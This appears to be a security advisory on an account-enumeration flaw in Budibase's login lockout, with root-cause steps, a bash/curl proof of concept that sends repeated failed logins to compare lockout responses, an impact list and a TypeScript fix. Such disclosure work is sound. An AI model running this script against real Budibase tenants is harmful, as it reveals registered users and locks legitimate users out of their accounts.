Budibase: Account Enumeration via Login Lockout Response Differential

1. lockout middleware → getUserByEmail returns null → dbUser && isLocked is false → passes through
2. Login handler → passport fails → if (dbUser) is false → onFailed() never called → lock never set
3. Always returns 403 "Unauthorized"

No IP-based rate limiting exists on the login endpoint (POST /api/global/auth/:tenantId/login). The route is registered via loggedInRoutes which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.

PoC

# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID

# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900

# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
  echo "--- Attempt $i ---"
  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
  echo ""
done

# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers

# The difference in behavior after 5 attempts confirms whether the email exists.

Impact

• Account enumeration: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the X-Account-Locked header.
• No rate limiting: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).
• Denial of service side-effect: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.
• Enables further attacks: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.

Recommended Fix

The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:

packages/worker/src/middleware/lockout.ts — Remove the dbUser check:

export default async (ctx: Ctx, next: Next) => {
  const email = ctx.request.body.username
  if (!email) {
    return await next()
  }
  // Check lock status based on email alone, not user existence
  if (await isLocked(email)) {
    ctx.set("X-Account-Locked", "1")
    ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
    ctx.throw(403, "Account temporarily locked. Try again later.")
  }
  return await next()
}

packages/worker/src/api/controllers/global/auth.ts — Remove the dbUser guard around onFailed:

if (err || !user) {
  // Always increment failure counter regardless of user existence
  await onFailed(email)
  if (await isLocked(email)) {
    return handleLockoutResponse(ctx, email)
  }
  // ...
}

Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.